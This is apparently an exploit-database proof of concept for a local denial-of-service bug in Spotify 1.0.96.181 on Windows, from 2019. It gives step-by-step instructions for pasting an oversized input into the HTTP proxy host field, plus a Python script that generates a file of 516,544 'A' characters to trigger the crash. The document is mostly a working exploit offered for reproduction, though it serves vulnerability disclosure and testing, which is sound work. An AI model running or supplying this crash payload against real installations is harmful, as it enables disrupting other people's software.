Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC)

# Exploit Title: Spotify 1.0.96.181 - "Proxy configuration"  Denial of Service (PoC)
# Discovery by: Aaron V. Hernandez
# Discovery Date: 2019-01-15
# Vendor Homepage: https://www.spotify.com
# Software Link: https://www.spotify.com/mx/download/windows/
# Tested Version: 1.0.96.181
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home x64

# Steps to Produce the Crash:
# 1.- Run python code : python Spotify_1.0.96.181.py
# 2.- Open Spotify_1.0.96.181.txt and copy content to clipboard
# 3.- Open Spotify.exe
# 4.- Clic "Configuracion"
# 5.- Select HTTP
# 6.- Paste ClipBoard on "Host"
# 7.- Clic "Actualizar proxy"
# 8.- Type any user and password
# 9.- "Iniciar sesion"
# 10.- Crashed

# !/usr/bin/env python

buffer = "\x41" * 516544
f = open("Spotify_1.0.96.181.txt", "w")
f.write(buffer)
f.close()